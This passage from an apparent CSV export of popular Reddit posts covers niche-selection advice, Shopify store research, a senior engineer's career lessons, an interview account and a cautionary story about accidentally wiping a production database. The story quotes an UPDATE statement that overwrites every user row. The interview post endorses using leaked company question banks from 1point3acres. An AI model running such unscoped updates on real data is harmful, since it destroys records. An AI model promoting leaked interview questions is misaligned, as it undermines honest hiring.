it, blogging about it and posting product reviews with affiliate links, whatever. But don’t feel like you have to start with your own interests. If you don’t HATE it or if it does not go against your values, then it’s fine. (But NEVER go against your values because you’ll end up sabotaging yourself. For instance, I will not promote a business that is related to drugs, violence, or porn no matter how much potential there is because I will not feel good about doing it and I end up sabotaging myself.) Not interested in learning about knee high and thigh high boots tailored for the thicker calves of plus size women, even though there’s a rapidly growing market for that kind of thing? Find a writer who’s a plus size woman who loves fashion and wears a lot of boots during the winter. Get her to write up your product reviews, or write up general supporting blog content like fall fashion style guides and editorials about body positivity. She’ll gladly write for you. And no offense, but she’ll end up doing a heck of a better job than you, because it’s what she loves. And, what you end up paying her is a tiny fraction of the amount of money you’re ultimately going to make from that content. [Check out my post about what kind of freelancers to avoid](https://www.reddit.com/r/Entrepreneur/comments/79ok2p/over_the_years_ive_hired_over_a_hundred_freelance/) to save yourself a lot of headache, though. There’s a lot you can outsource, and for a lot less money than you might think. So don’t toss an idea just because it’s not a personal interest of yours. The advice I give to my students is: get some stable, consistent cashflow going first, then you can focus on your passions. You’ll enjoy these passions a thousand times more if you do this because there’s no pressure to make a profit from it. You’ll be way more creative also. #Do I Need to Be Knowledgeable About My Niche? I kind of touched on this one in the previous section. It probably depends on what kind of business you’re running, what your goals are, and other variables that can be different from person to person. But what I do want to emphasize here is that **you *don’t* have to feel like you need to be a world class expert on a subject to build a business around it.** Don’t let yourself succumb to the whole “imposter syndrome” thing. You’d be surprised what you can do with some simple Googling in your free time. We live in a freaking golden age of information right now. Thanks to the internet and smartphones, *you are literally holding the entire wealth of human knowledge in the palm of your hand.* With just some determination, some free time, and the magic of Google Search, you can quickly learn the basics about almost anything. And honestly, the basics are all you’ll really need. When it comes to content -- whether it’s a book you’re selling, or a blog post housing affiliate links -- what matters is that you know more than your audience about how to solve their problem. Someone needs to attach two pieces of wood together with a nail? You don’t have to be a world class authority on hammers to give them the answers they need. You don’t need to know about the rich history of hammers, or how hammers are manufactured. You don’t even need to be all that knowledgeable about building and construction in general. You just need to know that your audience needs a hammer. And oh, look, you have a bunch of great product reviews of the very best hammers for their specific kind of nail. Or, you’ve got a comprehensive ebook that gives a full step by step guide to hammers and how to use them to pound a nail. **So don’t feel like you need to be a #1 authority or expert on your chosen niche.** #How to Find a Niche: Start with the Timeless Evergreen Niches That Always, Always Sell When people talk about niche selection, they put the biggest emphasis on specificity. They focus on narrowing things down. Now, don’t get me wrong. That’s definitely something you should do. But that step comes later. Before you begin, you want to focus on “selling what sells”. There are big, massive, evergreen niches where there will always, always be a market full of people itching to break out their pocketbook and pay you for solutions to their problems. Now, these niches have some pretty important things in common. And I think it’s worth talking about those things. What is it about these things that make them so perennially profitable? **It comes down to basic human desires. Love, sensory pleasures, material wealth, self-confidence, social success, self-actualization. These desires are basically universal, at least within contemporary Western culture.** They revolve around things that people want on a very deep and fundamental level, in ways they’re not necessarily even fully aware of. **Love and friendship.** For the most part, humans want to find a romantic partner with whom they can share both emotional and sexual intimacy. Someone to love them and support them. **Social success**. People want others to like them. This ties into things like beauty and getting in shape, although that also relates to the desire to find a mate. It also ties into self-help topics, like how to be more confident, how to get better at public speaking, etc. **Material wealth**. Good old “how to make money.” Whether it’s investing in real estate, starting a small business, or whatever, people are always looking for ways to make more money. Again, this also ties into the concept of social success. **Entertainment.** People like to have fun. They like humor. They like to laugh. They like to read about celebrities or whatever, vicariously reveling in the sumptuous glamour and sexy scandals of the rich and famous. A lot of late 20th century sociologists and thinkers wrote about the concept of the “culture industry.” Think of that kind of thing. **Self-actualization and personal fulfillment**. People want to feel content in their lives. They want to find a sense of peace with the immanent reality of their own existence. They want to find ways to create meaning and infuse their lives with a sense of purpose that makes them feel complete. As I mentioned, there might be some cultural variance here. I am not a psychologist, nor am I a sociologist, nor am I an anthropologist or a historian. Someone more knowledgeable on these subjects might be able to weigh in here. **So, here’s a list of the specific “mass market evergreen niches” I’m referring to. Each of them ties into at least one of the general human desires I was talking about above.** * **Mass media.** Celebrity bios, stuff about TV shows or entertainment history, that kind of thing. Also “geek stuff,” pop culture stuff, etc. Think “pop culture,” which kind of runs the gamut from trashy tabloids, to comic book and TV show fandoms, and everything in between. Everyone partakes of the mass media culture industry. There are radically different audiences within it -- from blue collar housewives who devour the latest from TMZ, to sophisticated urbanites with a refined appreciation of contemporary interior design and decor, to people who are geeks and proud of it, guys who play D&D or have an encyclopedic knowledge of Star Wars trivia. Sports stuff is in this category, too. Even fashion fits here. * **Diet and weight loss.** This is America. We’ve got a massive obesity epidemic going on. We’re constantly surrounded by foods that are bursting with calories, but that aren’t very filling. (Seriously, take a look at the nutrition facts on those little cans of Coke and stuff. It’s insane.) People are always trying to lose weight -- and unfortunately, in most cases, failing at it. It can take some time to find a regimen that works for their personal tastes and their lifestyle. * **Fitness.** Another thing people want is to get fit and get in shape. This one pairs well with weight loss and dieting, but it’s really its own distinct niche. Getting fit doesn’t always mean losing weight. * **Self development.** Self-help books are always a perennial bestseller. One of the most important things we need to do in this life is to understand ourselves, and sometimes even better ourselves. I mean, think about it. None of us chose to be here, and if we did, we don’t remember it. We’re thrust into this world, as conscious beings capable of joy as well as suffering, facing down the eternal coldness of the hard problem of consciousness. People look for ways to infuse their lives with meaning and a sense of purpose. They look for a compass to guide them through life’s confusing twists and turns. * **Cooking.** Everybody eats food. Some more, others less. So cooking is another perennial niche you can consider. Cookbooks sell like crazy, believe it or not. * **Dating and relationships.** Finding a romantic partner is another big part of human life, at least for the majority of people. There are also the many problems of long term relationships and marriage -- dealing with disagreements, keeping sex interesting after multiple decades, rekindling romance in the wake of an empty nest, etc. * **Gaming.** This one’s maybe a little more recent and modern than the others, but it really is a golden niche. I guess you could really stick this into the “mass media entertainment” category, but I thought it deserved a mention on its own. * **Making money.** Everyone wants to find ways to bring in some extra cash. Money doesn’t buy happiness by any means, but what it *can* do is secure the base of the Maslow Pyramid. And that’s really important. There are more to this list. But what’s important here is what these niches have in common: an appeal to basic, deep-seated, universal human desires for things like love, acceptance, wealth, and meaning. So these things are evergreen. There is always money to be made. You might be thinking, “Aren’t these super saturated and high competition?” Sometimes, but they’re also massive and broad. There’s plenty of room in these markets. #The Key to “Niching Down” You might not actually need to narrow your niche down as much as people seem to think you do. After all, go too niche, and you’re faced with a limited market. Sure, you might make some money, but you’ll hit a ceiling. Anyway, **the key to pinpointing a subniche is to focus on answering a specific question or solving a specific problem.** “How do I lose weight?” is a big thing, but it’s not necessarily super specific. There are a lot of ways to lose weight. There are also a lot of reasons for losing weight, and a lot of different subsections of the population of “people who want to lose weight.” You’ve got people who are morbidly obese, whose very lives may depend on dropping the extra adipose tissue that’s slowly destroying their bodies. But then, you’ve got, say, women in their 30s who aren’t obese, but who want to lose a few pounds. Like, 25 lbs or less. It’s not a health issue for them, so much as an issue of beauty, confidence, and sex appeal. The way each of those groups goes about losing weight is going to be different. Their specific problems are different, and they’re looking for different things. So let’s say you want to write an ebook and sell it on Amazon Kindle. You’ve got weight loss in mind as the topic. Cool. Now, you need a specific problem. #The Power of Autocomplete: Finding the Exact Questions Your Audience Is Asking So what’s an example of a specific problem? And how do you go about looking for them? You can find them by doing some keyword research. It’s not just for SEO -- it’s also a way to get a peek into what your audience is thinking. In my case, the focus is on what people search for on Amazon. These days, when people want to buy something -- whether it’s a product or a book on a subject -- they’ll usually go to Amazon directly, rather than using Google. But in other businesses, Google or even YouTube might be where you want to focus. Whether it’s on Amazon or Google, you can learn a lot about what people are asking and where the demand is at by checking out what comes up with the autocomplete feature. You can also check out resources like AnswerThePublic.com to find these questions, or use a tool like KeywordShitter or Keyword.io. The latter two actually draw from Google’s Autosuggest feature, so it’s a quicker way of getting that info than doing it manually. Either way, you’ll find queries and searches like these, which are what you want to focus on. “How To Lose Weight Without Diet And Exercise?” “How To Draw For Kids” “How To Lose Weight Journal” “How To Cure A Migraine” Sometimes they’re actually phrased in question format, and sometimes they’re not but you get the picture. Hone in on these specific questions and searches. Then, offer your audience a specific answer. Whether you’re putting together a buying guide for protein shakes or you’re writing a series of ebooks about weight loss and getting in shape, **you can maximize your profits by offering a specific solution to a specific problem.** #This is what’s worked for me over the years: BIG Evergreen Niche --> Specific Problem Within That Niche I’m not the only person offering this advice, or at least I don’t think I am. But, it works. I realize that this subreddit is pretty diverse. Not all of us sell ebooks, or create monetized content. There are people here with cleaning services, with restaurants and bars, with brick and mortar boutiques, and more. So my advice might not be applicable in every single case. But if you want to make some extra cash online, in a way that revolves around informational content, this strategy has worked time and time again. I do hope this was helpful to some of you guys out there. Let me know if you’ve got any further questions about this stuff. ",steviedrive,1515,74,1509640127,/r/Entrepreneur/comments/7aco1w/finding_profitable_niches_is_not_hard_a/,https://www.reddit.com/r/Entrepreneur/comments/7aco1w/finding_profitable_niches_is_not_hard_a/,self.Entrepreneur,True,,,,, gp498c,Entrepreneur,Doubt killed more dreams than inability,Please take action,TheNakedPoet2,1513,134,1590237628,/r/Entrepreneur/comments/gp498c/doubt_killed_more_dreams_than_inability/,https://www.reddit.com/r/Entrepreneur/comments/gp498c/doubt_killed_more_dreams_than_inability/,self.Entrepreneur,True,,,,, elckkv,Entrepreneur,I scraped the top 100 e-commerce stores using Shopify. Here are my boring findings.,"Hey guys, Last month I realized anyone could pretty much find out who the biggest Shopify stores are since they're all hosted under the same IP: 23.227.38.32 Knowing this, I scraped the Top 100 Shopify Stores by Alexa Rank, using myips.ms - so these are the most visited e-commerce stores using Shopify in the whole world: [Full list of the top 100 Shopify stores \(Image\)](https://imgur.com/GQ60XWl) (P.S: I transformed the Alexa rank into Estimated Monthly Traffic for easier understanding) Now, as for my findings: **1. Clothing is king, and the whole Fashion niche rules over everything.** [Full break-down of Niches \(Image\) ](https://imgur.com/59PrUEI) Of the top 100 Shopify Stores, 29 had Clothing as their main niche. Add Accessories, Footwear, Underwear plus Swimwear stores - which amount to 21 stores in total - and you have exactly **50% of the top 100 stores** belonging somewhere and somewhat in the Fashion niche. Taking a closer look, the biggest store currently on Shopify is Fashion Nova, which is a fashion company (well, *duh*) with over 21 million visits per month. Their traffic numbers are actually 3 times as large as their 2nd competitor (which is a makeup store). Now, this really is **The Mountain vs Oberyn** levels of competition. Fashion Nova can essentially A/B test their landing pages and user experience until their conversion rates just blow away every competitor. And even then, this as a whole will benefit the entire Fashion niche - as they can simply ~~steal~~ *learn* from Fashion Nova UX choices and improve their own conversion rates for free. No other niche has this much free information to be studied and replicated online. ***Main takeaway:*** If you want to start a new e-commerce store or expand yours, a local needleworker can end up being more helpful than mindlessly browsing Ali-express. **2. You don't need to have Walmart prices to sell like Walmart.** [Full breakdown of the Best-sold Product prices \(Image\)](https://imgur.com/vhRiBSx) Yes, some 29% of the Best-Sold Products on the list are under 25$, but 50% of the top stores have their Best-Sold product at a price point above 50$. Were you expecting this? I really wasn't. This means big stores aren't obliged to do drop-shipping prices, even though some of these stores are (clearly) sourcing products for cheap in Asia. **Branding up and niching down** seems to be the absolute key here. And see it for yourself - go to any store from the list, and check if you can't identify their customer persona straight away. All these stores have made the effort to laser-target their niche because that means they'll be the only ones able to satisfy it. Finally, having a larger margin per product is also one of the very few ways these stores get to increase their sales - because larger product margins will mean a larger advertising budget, which in the end will mean a larger number of customers reached. Remember that almost all of these stores survive and grow strictly through Facebook/Instagram ads - 93% of these 100 stores are using Facebook ads (trust me, I checked them one-by-one). ***Main takeaway:*** Always focus on selling the benefit and not only product features, so you can brand yourself and distance your product from the common Youtube drop shipper. **3. Mobile Site Speed isn't a concern when you get a lot of traffic.** [Mobile Site Speed breakdown \(Image\)](https://imgur.com/tiqCG9T) Some of these stores are taking longer to load on mobile than Usain Bolt took to run 100 meters on the Olympics. It's this bad. And because of this, it would seem that Site Speed doesn't affect nearly as much the sales or traffic numbers as one would predict. However, this a *misleading behavior* that you shouldn't replicate. Yes, these stores still have their traffic and large sales numbers for sure - but Amazon found in an early e-commerce study that for every 100ms (meaning 1/10 of a second) of site delay, they *lost 1% of sales*. ([Source](https://www.gigaspaces.com/blog/amazon-found-every-100ms-of-latency-cost-them-1-in-sales/)) Meaning many stores in this list could, in theory, **almost double their sales numbers**, by just working to decrease their site speed to regular values - and all this without ever having to increase their traffic numbers. This is free money they're leaving on the table every month. ***Main takeaway:*** Focus on having your e-commerce site speed low (especially mobile site speed), because unless you already have traffic in the hundreds of thousands and/or an established brand, your sales will tank (or never even takeoff). And that's it for today. *Now, you can check the full interactive database of my data [**here**](https://ecommerceranker.com/)* ⬅️ *but it's okay if you don't because I'll keep posting more data-based insights right here.* *Thanks!*",Sr_Noodles,1511,195,1578408988,/r/Entrepreneur/comments/elckkv/i_scraped_the_top_100_ecommerce_stores_using/,https://www.reddit.com/r/Entrepreneur/comments/elckkv/i_scraped_the_top_100_ecommerce_stores_using/,self.Entrepreneur,True,,,,, nmodyl,ExperiencedDevs,Drunk Post: Things I've learned as a Sr Engineer,"I'm drunk and I'll probably regret this, but here's a drunken rank of things I've learned as an engineer for the past 10 years. * The best way I've advanced my career is by changing companies. * Technology stacks don't really matter because there are like 15 basic patterns of software engineering in my field that apply. I work in data so it's not going to be the same as webdev or embedded. But all fields have about 10-20 core principles and the tech stack is just trying to make those things easier, so don't fret overit. * There's a reason why people recommend job hunting. If I'm unsatisfied at a job, it's probably time to move on. * I've made some good, lifelong friends at companies I've worked with. I don't need to make that a requirement of every place I work. I've been perfectly happy working at places where I didn't form friendships with my coworkers and I've been unhappy at places where I made some great friends. * I've learned to be honest with my manager. Not too honest, but honest enough where I can be authentic at work. What's the worse that can happen? He fire me? I'll just pick up a new job in 2 weeks. * If I'm awaken at 2am from being on-call for more than once per quarter, then something is seriously wrong and I will either fix it or quit. * pour another glass * Qualities of a good manager share a lot of qualities of a good engineer. * When I first started, I was enamored with technology and programming and computer science. I'm over it. * Good code is code that can be understood by a junior engineer. Great code can be understood by a first year CS freshman. The best code is no code at all. * The most underrated skill to learn as an engineer is how to document. Fuck, someone please teach me how to write good documentation. Seriously, if there's any recommendations, I'd seriously pay for a course (like probably a lot of money, maybe 1k for a course if it guaranteed that I could write good docs.) * Related to above, writing good proposals for changes is a great skill. * Almost every holy war out there (vim vs emacs, mac vs linux, whatever) doesn't matter... except one. See below. * The older I get, the more I appreciate dynamic languages. Fuck, I said it. Fight me. * If I ever find myself thinking I'm the smartest person in the room, it's time to leave. * I don't know why full stack webdevs are paid so poorly. No really, they should be paid like half a mil a year just base salary. Fuck they have to understand both front end AND back end AND how different browsers work AND networking AND databases AND caching AND differences between web and mobile AND omg what the fuck there's another framework out there that companies want to use? Seriously, why are webdevs paid so little. * We should hire more interns, they're awesome. Those energetic little fucks with their ideas. Even better when they can question or criticize something. I love interns. * *sip* * Don't meet your heroes. I paid 5k to take a course by one of my heroes. He's a brilliant man, but at the end of it I realized that he's making it up as he goes along like the rest of us. * Tech stack matters. OK I just said tech stack doesn't matter, but hear me out. If you hear Python dev vs C++ dev, you think very different things, right? That's because certain tools are really good at certain jobs. If you're not sure what you want to do, just do Java. It's a shitty programming language that's good at almost everything. * The greatest programming language ever is lisp. I should learn lisp. * For beginners, the most lucrative programming language to learn is SQL. Fuck all other languages. If you know SQL and nothing else, you can make bank. Payroll specialtist? Maybe 50k. Payroll specialist who knows SQL? 90k. Average joe with organizational skills at big corp? $40k. Average joe with organization skills AND sql? Call yourself a PM and earn $150k. * Tests are important but TDD is a damn cult. * Cushy government jobs are not what they are cracked up to be, at least for early to mid-career engineers. Sure, $120k + bennies + pension sound great, but you'll be selling your soul to work on esoteric proprietary technology. Much respect to government workers but seriously there's a reason why the median age for engineers at those places is 50+. Advice does not apply to government contractors. * Third party recruiters are leeches. However, if you find a good one, seriously develop a good relationship with them. They can help bootstrap your career. How do you know if you have a good one? If they've been a third party recruiter for more than 3 years, they're probably bad. The good ones typically become recruiters are large companies. * Options are worthless or can make you a millionaire. They're probably worthless unless the headcount of engineering is more than 100. Then *maybe* they are worth something within this decade. * Work from home is the tits. But lack of whiteboarding sucks. * I've never worked at FAANG so I don't know what I'm missing. But I've hired (and not hired) engineers from FAANGs and they don't know what they're doing either. * My self worth is not a function of or correlated with my total compensation. Capitalism is a poor way to determine self-worth. * Managers have less power than you think. Way less power. If you ever thing, why doesn't Manager XYZ fire somebody, it's because they can't. * Titles mostly don't matter. Principal Distinguished Staff Lead Engineer from Whatever Company, whatever. What did you do and what did you accomplish. That's all people care about. * Speaking of titles: early in your career, title changes up are nice. Junior to Mid. Mid to Senior. Senior to Lead. Later in your career, title changes *down* are nice. That way, you can get the same compensation but then get an increase when you're promoted. In other words, early in your career (<10 years), title changes UP are good because it lets you grow your skills and responsibilities. Later, title changes down are nice because it lets you grow your salary. * Max out our 401ks. * Be kind to everyone. Not because it'll help your career (it will), but because being kind is rewarding by itself. * If I didn't learn something from the junior engineer or intern this past month, I wasn't paying attention. * Oops I'm out of wine. * Paying for classes, books, conferences is worth it. I've done a few conferences, a few 1.5k courses, many books, and a subscription. Worth it. This way, I can better pretend what I'm doing. * Seriously, why aren't webdevs paid more? They know everything!!! * Carpal tunnel and back problems are no joke. Spend the 1k now on good equipment. * The smartest man I've every worked for was a Math PhD. I've learned so much from that guy. I hope he's doing well. * Once, in high school, there was thing girl who was a great friend of mine. I mean we talked and hung out and shared a lot of personal stuff over a few years. Then there was a rumor that I liked her or that we were going out or whatever. She didn't take that too well so she started to ignore me. That didn't feel too good. I guess this would be the modern equivalent to ""ghosting"". I don't wish her any ill will though, and I hope she's doing great. I'm sorry I didn't handle that better. * I had a girlfriend in 8th grade that I didn't want to break up with even though I didn't like her anymore so I just started to ignore her. That was so fucked up. I'm sorry, Lena. * You know what the best part of being a software engineer is? You can meet and talk to people who think like you. Not necessarily the same interests like sports and TV shows and stuff. But they think about problems the same way you think of them. That's pretty cool. * There's not enough women in technology. What a fucked up industry. That needs to change. I've been trying to be more encouraging and helpful to the women engineers in our org, but I don't know what else to do. * Same with black engineers. What the hell? * I've never really started hating a language or technology until I started becoming intimately familiar with it. Also, I think a piece of tech is good if I hate it but I simultaneously would recommend it to a client. Fuck Jenkins but man I don't think I would be commuting software malpractice by recommending it to a new client. * That being said, git is awful and I have choice but to use it. Also, GUI git tools can go to hell, give me the command line any day. There's like 7 command lines to memorize, everything else can be googled. * Since I work in data, I'm going to give a data-specific lessons learned. Fuck pandas. * My job is easier because I have semi-technical analysts on my team. Semi-technical because they know programming but not software engineering. This is a blessing because if something doesn't make sense to them, it means that it was probably badly designed. I love the analysts on the team; they've helped me grow so much more than the most brilliant engineers. * Dark mode is great until you're forced to use light mode (webpage or an unsupported app). That's why I use light mode. * I know enough about security to know that I don't know shit about security. * Crap I'm out of wine. * Being a good engineer means knowing best practices. Being a senior engineer means knowing when to break best practices. * If people are trying to assign blame to a bug or outage, it's time to move on. * A lot of progressive companies, especially startups, talk about bringing your ""authentic self"". Well what if your authentic self is all about watching porn? Yeah, it's healthy to keep a barrier between your work and personal life. * I love drinking with my co-workers during happy hour. I'd rather spend time with kids, family, or friends. * The best demonstration of great leadership is when my leader took the fall for a mistake that was 100% my fault. You better believe I would've walked over fire for her. * On the same token, the best leaders I've been privileged to work under did their best to both advocate for my opinions and also explain to me other opinions 'that conflict with mine. I'm working hard to be like them. * Fuck side projects. If you love doing them, great! Even if I had the time to do side-projects, I'm too damn busy writing drunken posts on reddit * Algorithms and data strictures are important--to a point. I don't see pharmacist interviews test trivia about organic chemistry. There's something fucked with our industry's interview process. * Damn, those devops guys and gals are f'ing smart. At least those mofos get paid though. * It's not important to do what I like. It's more important to do what I don't hate. * The closer I am to the product, the closer I am to driving revnue, the more I feel valued regardless of how technical my work is. This has been true for even the most progressive companies. * Linux is important even when I was working in all Windows. Why? Because I eventually worked in Linux. So happy for those weekend where I screwed around installing Arch. * I've learned to be wary for ambiguous buzz words like big data. WTF is ""big"" data? I've dealt with 10k rows streaming every 10 minutes in Spark and Kafka and dealt with 1B rows batched up hourly in Python and MySQL. Those labels can go fuck themselves. * Not all great jobs are in Silicon Valley. But a lot are. Finally, if you really want to hurt me, don't downvote I don't care about that. Just ignore this post. Nothing makes me sadder than when I wrote a long post and then nobody responds. So if you hate this post, just ignore.",flipstables,9344,681,1622171342,/r/ExperiencedDevs/comments/nmodyl/drunk_post_things_ive_learned_as_a_sr_engineer/,https://www.reddit.com/r/ExperiencedDevs/comments/nmodyl/drunk_post_things_ive_learned_as_a_sr_engineer/,self.ExperiencedDevs,True,,,,, 1gz9ksj,ExperiencedDevs,My Senior Engineer Interview Experiences," I recently wrapped up a ~3 month gauntlet of studying and interviews and came away with 3 L5 offers, and a lot of people on Blind found my tips (in the OP and DMs) to be useful, so I wanted to write similar post here. The SWE market is much different now than 2020-early 2022, and I've noticed that these kinds of posts have consequently appeared much less often now compared to that period of time. Since I have the benefit of typing this on my computer instead of the Blind app, I'll try and be more thorough to make this more than a ""TC or GTFO"" post. As a disclaimer, I only have 6 YoE, and I was hesitant about even sharing this here, since many people here have been doing this since before I was born. It's kinda like the people asking ""how do I start saving money"" on /r/fatFIRE . But then, I figured I can't do much worse than Yet Another Leetcode Complaining Post. So, take it with a grain of salt as you would anything else that a barely-thirty-year-old would say, but I hope someone out there finds it useful! # Background: - 6 YOE - Previous FAANG experience - Currently employed - All of my experience has been in the SF Bay Area #The Job Search / How I Got Interviews in the First Place: - I was only interested in companies able to pay $350k and higher in total comp (signing bonus not included) - I preferred public companies, as I've already done the ""hope and pray for an IPO"" thing, and wasn't a fan. Of course, if e.g. OpenAI or Databricks came knocking (they didn't), that ""requirement"" would go out the window ;) - I was not limiting myself to full remote jobs, but it did need to be local to the bay area otherwise. I applied to around 20 companies via LinkedIn and directly on their website. Given my previous requirements, the list of companies that I could apply to was pretty small. It was pretty much the usual suspects: FAANG, Uber, Airbnb, etc. Notably, I did not hear back positively from a single company that I applied to via a job portal. I either got a rejection email or ghosted. This was in stark contrast to my last job search, where I was inundated with recruiter messages from the same companies. What remained were the few companies that actually reached out on their own accord, or with whom I had a direct recruiter contact: LinkedIn, Meta, Google, Doordash, and some practice companies to get the nerves out. #Preparation: I knew I would need to be prepared for system design interviews, and historically those are my weakest ones (again, 6 YOE...), so naturally I focused the most on that. ##First, I'll just get Leetcode out of the way: - No, it has nothing to do with the job, but everything to do with ""do you actually want the job"". So, coming to terms with it is my recommendation. - It is IMO easier to pass these interviews than the non-LC ones, because there's only so many different types of questions, and no company besides Google is coming up with their own original LC questions. - For Meta specifically, just know the top 100 or so tagged questions, don't overthink it. - I didn't waste time trying to figure things out on my own for 30 minutes first, unless it was a very easy problem. I just learned the solutions through spaced repetition. I'm convinced that this is the most time efficient way to pass LC interviews, but it sucks if you want to be a competitive programmer, or if you just really want to learn Leetcode for whatever reason. Personally, I only do Leetcode to pass interviews, not for fun or the love of algorithms. - You're far more likely to fail or be downleveled because of SD or behavioral. ##System Design I was asked the typical kinds of problems at every company except Google: Design xyz popular service/infrastructure functionality. For those types of companies, I'd say that all you need is HelloInterview (free at the time of writing, no affiliation) and Alex Xu's 2nd book, provided you have the necessary background to comprehend those resources already. Doordash's questions are small in number and available on the Leetcode Discuss forums. For Google, their SD interviews are not so formulaic or predictable, and it's the only company that having knowledge of OS and Systems fundamentals was in any way useful throughout the interview process. Here are some more resources that I used - mostly because I just love reading this kind of stuff, not because it's exactly necessary: - Onsites.fyi $40 annual payment was worth it - codemia.io - Decent - DDIA - Honestly just wait for the 2nd edition next December if you're not in a rush. Otherwise, read the first 2 parts. Controversially, this is not very helpful for a 45 minute interview (which it was not designed for), but invaluable if you want an amazing reference for actually learning distributed systems topics and database internals. - https://cpu.land/ - https://blog.acolyer.org/ - [Systems design for advanced beginners](https://robertheaton.com/2020/04/06/systems-design-for-advanced-beginners/) - [Scaling Geospatial Queries w/ Redis](https://medium.com/groupon-eng/scaling-millions-of-geospatial-queries-per-minute-using-redis-7c05bcf6b4db) - [Redis pubsub internals](https://medium.com/@joudwawad/redis-pub-sub-in-depth-d2c6f4334826)(this actually came in handy) - [The words of a very good programmer who thinks even more highly of himself](https://varnish-cache.org/docs/trunk/phk/notes.html) - [Zero copy data transfer - used by Kafka](https://developer.ibm.com/articles/j-zerocopy/) - [False Sharing - believe it or not, this was critical for Google](https://jacobfilipp.com/DrDobbs/articles/DDJ/2009/0905/0905ec01/0905ec01.html) - [The Architecture of Open Source Applications](https://aosabook.org/en/index.html) - [Raft Protocol Visualisation](https://thesecretlivesofdata.com/) - [Codecrafters](https://codecrafters.io/) is cracked, seriously. I learned more about the internals of Redis, SQLite, etc. from this than any other resource. - Any of Tim Berglund's content. The guy is a pro presenter. - Code 2nd edition by Charles Petzold - Inside The Machine by Jon Stokes Okay, I'll admit that the last two are useless for SD interviews, but they're so well written that I had to shill for them. What's more important than reading any of this stuff is getting real life practice, whether that's through mock interviews, HelloInterview's practice tool, or by badgering your wife with explanations of the Byzantine Generals problem. I went with the latter two, but I've read good things about HI's mocks. During some of my interviews, I actually had to diagram a system that I'd designed myself at work, rather than being given a hypothetical system to design. Expect every architectural decision to be questioned and drilled into. And if you aren't prepared to speak at length and deeply about a cross-team, highly impactful project you personally led, good luck. ##Behavioral These are the easiest types of interviews for me. I'm a strong speaker and have never had a problem disambiguating any topic that I am familiar with, and my own work certainly falls into that category. With that being said, I did practice answering common ""tell me about a time..."" questions out loud to my (outstandingly patient if you haven't already noticed) wife, and asked her to try poking as many holes into my stories as possible until I reached a breaking point. Regardless of your resume or experience, prepare to be challenged on everything you say. Was the impact you demonstrated really because of you, or were you simply along for the ride? The interviewer needs to believe without a doubt that you're capable of bringing a high-impact, xfn project from inception through to post-launch care with minimal hand-holding. This probably goes doubly so for those of you with much more experience than I, aiming for L6+ roles. There are other posts on this sub with advice for those more senior positions. ## On 1point3acres Out of the 80+ dms that I've responded to on Blind, this was the most frequently discussed topic: >""Is 1p3a worth it?"" >""How do you properly translate it?"" So, this topic gets its own section. If you don't know, 1point3acres is a Chinese interview ~~cheating~~ advice website, wherein the users share internal question banks, and try to get themselves assigned to interview specific people so they can pass them along in their interviews. The issue (among others) is that the site is in Chinese, and the users use a certain type of slang system to ensure that Google doesn't properly translate the true meaning of what they're saying. So what do you do about it? You use ChatGPT to translate it instead. It figured out how the code words are determined - they basically use Chinese characters that translate phonetically to the intended English words, but make no sense when translated verbatim. I found this to be an invaluable resource, because they share questions for Meta, Doordash, and Google that don't make their way to Leetcode/Blind/Onsites.fyi nearly as quickly. There are WeChat groups where people do the aforementioned interview rigging, but as a regular-ass American I'm not able to speak first hand about that. #The Offers I passed Meta, LinkedIn, and Google, failed Doordash, and bombed a couple other random interviews. The Blind post has the Meta/Google offers: https://www.teamblind.com/post/zc2bRCUO (486k+100k signing bonus for meta, $442k+50k signing bonus for Google). I didn't bother continuing team matching with LinkedIn despite having great things to say about the interviewers and company, because they simply can't come within $200k of my Meta/Google offers without being upleveled to Staff. Meta's offer represents a ~3x increase in total comp compared to my current company, in the same city. The Meta, Google and LinkedIn recruiters were amazing to work with. Timing these offers was a nightmare. Meta's team matching took 2 weeks, and that's pretty expeditious! Meanwhile, I had to stall the Google offer as long as possible, and then some more, because Meta is not giving anyone a max E5 offer without a strong competing offer from a ""peer"" company like Google, Tiktok, OpenAI, etc. #Conclusion I started writing this in notepad, just to share with some of my colleagues that have been laid off from my company earlier this year and are still looking for jobs in a tough market, but I hope that it is also useful to a wider audience, and future Google searchers too. Feel free to dm any questions. I use old Reddit, so I might not see the new dm request things that New Reddit does.",Dodging12,2074,237,1732505334,/r/ExperiencedDevs/comments/1gz9ksj/my_senior_engineer_interview_experiences/,https://www.reddit.com/r/ExperiencedDevs/comments/1gz9ksj/my_senior_engineer_interview_experiences/,self.ExperiencedDevs,True,,,,, 1j2wrdv,ExperiencedDevs,Wiped my company's production DB last week.,"**Preface**: 8 YoE, Big company (where I work) acquired a small but very successful product last year. I recently moved over to this help integrate the acquired product into our suite of software. **Story**: Unfortunately, this product lacked any sort of staff tooling, so support requests were more often than not accomplished by running SQL directly on the production database (💀). One of the most standard requests was updating product codes that were _specific_ to a user's account, i.e. a given product code for one user would not work for another user. The SQL boiled down to: UPDATE ""users"" SET ""product_access_codes"" = ""..."" WHERE ""users"".""id"" = '289571032'; Last week, I wake up to an ""urgent"" request to enable a user's product codes in time for a demo ""very soon"". Having done this countless times, I whip up and run the following: UPDATE ""users"" SET ""product_access_codes"" = ""...""; WHERE ""users"".""id"" = '289571032'; Notice anything? Well I didn't until I saw the dreaded ""12857294 rows affected"" result. There is truly no stronger stimulant than the realizing that you just bricked the production database by overwriting the user table with bad data. After coming to terms with the reality of my situation over the next 10 seconds (felt like 10 hours) I hit up our SRE team and give them the bad news. **Outcome:** Luckily for me, our SRE team had backups configured such that we were able to restore the database to the state ~2 minutes before my mishap. Total downtime ended up being ~20 minutes while we ran the restore. After the dust settled I'm glad to report I did not in fact lose my job. I _did_ feel incredibly embarrassed, but equally thankful for my coworkers being empathetic and understanding that mistakes can happen. My EM blamed the situation more on our lack of tooling, so we sliced up some time last week to write our first version of staff tools. **Takeaway**: Doesn't matter how many times you've done something or how long you've been in the game, fuck-ups do happen and often when you feel the most complacent. This was a query I'd written many times over; the early morning request plus the urgency led me to get complacent and cut corners. More importantly though, in retrospect, **always turn off autocommit in your production DB sessions**. I could have avoided the entire situation had my SQL instead been \set AUTOCOMMIT off BEGIN; UPDATE ""users"" SET ""product_access_codes"" = ""...""; WHERE ""users"".""id"" = '289571032'; Upon seeing the syntax error and rows affected output I could have just ran `ROLLBACK` and avoided the whole situation. I honestly wanted to write this post mainly just to call out the fact that anytime you run SQL in production it should be wrapped in an explicit 